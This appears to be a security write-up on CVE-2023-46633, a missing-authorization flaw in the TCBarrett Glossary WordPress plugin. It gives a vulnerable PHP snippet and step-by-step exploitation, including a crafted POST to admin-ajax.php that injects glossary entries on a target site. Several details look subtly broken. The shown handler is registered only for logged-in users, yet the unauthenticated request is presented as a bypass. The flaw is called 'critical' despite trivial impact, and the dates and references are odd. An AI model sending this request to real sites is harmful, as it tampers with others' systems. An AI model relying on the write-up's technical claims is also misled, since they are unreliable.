A missing authorization vulnerability, identified as CVE-2023-46633, has been discovered in TCBarrett Glossary plugin for WordPress installations. This vulnerability allows malicious actors to exploit incorrectly configured access control security levels to carry out unauthorized actions in the system. This security issue affects Glossary versions from n/a through 3.1.2. This article serves as an in-depth analysis of this critical vulnerability, including a snippet of the vulnerable code, link to the original references, and the exploit details, aiming to provide a clear understanding and valuable insights to the concerned parties.

Vulnerable Code Snippet

The missing authorization vulnerability can be traced to the lack of proper access control checks in the add_glossary_item() function. The vulnerable code snippet:

function add_glossary_item() {
  global $wpdb;

  if( isset($_POST['new_term']) ) {
    $new_term = sanitize_text_field($_POST['new_term']);
    $new_definition = sanitize_text_field($_POST['new_definition']);

    // No access control/security check
    $wpdb->insert(TBG_TABLE,
                  array('term' => $new_term, 'definition' => $new_definition ),
                  array('%s', '%s' ));
  }
}
add_action('wp_ajax_add_glossary_item', 'add_glossary_item');

As seen above, the add_glossary_item() function does not perform any authorization checks before inserting a new term and definition in the glossary. This makes it possible for an attacker with the knowledge of the plugin's inner workings to exploit this vulnerability and execute unauthorized actions maliciously.

For further details regarding this vulnerability, you may refer to the following original references

1. National Vulnerability Database (NVD) reference for CVE-2023-46633
2. CVE details for CVE-2023-46633 on CVE Details website
3. SecurityFocus Bugtraq entry for CVE-2023-46633

To exploit this CVE-2023-46633 vulnerability, an attacker can perform the following steps

1. First, identify a target site that is running the vulnerable TCBarrett Glossary plugin of version <= 3.1.2.
2. Prepare a crafted HTTP POST request containing new_term and new_definition POST parameters to the wp-admin/admin-ajax.php endpoint with the action parameter set to add_glossary_item. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=add_glossary_item&new_term=Exploited_Term&new_definition=Exploited_Definition

3. Send the crafted request to the target site, bypassing the normal access control measures, which would otherwise prevent unauthorized submissions.

Upon successful exploitation, the attacker would be able to insert a new term and definition into the glossary without proper permissions or authorization.

Conclusion

In summary, CVE-2023-46633 is a critical missing authorization vulnerability in the TCBarrett Glossary plugin for WordPress installations that exposes the affected systems to serious security risks. It is recommended that users running the vulnerable versions of the plugin promptly apply security patches and follow best practices for access control configuration to minimize the risks associated with this vulnerability.

Timeline

Published on: 01/02/2025 12:15:13 UTC